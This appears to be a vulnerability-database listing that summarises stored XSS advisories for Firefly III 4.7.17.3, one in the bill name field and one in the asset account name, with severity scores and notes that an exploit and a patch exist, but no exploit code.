XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III 4.7.17.3 is vulnerable to stored XSS due to the lack of filtration of user-supplied data in the bill name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Firefly III 4.7.17.3 is vulnerable to stored XSS due to the lack of filtration of user-supplied data in the asset account name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Firefly Iii
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39320

Related CWEs

MITRE ATT&CK

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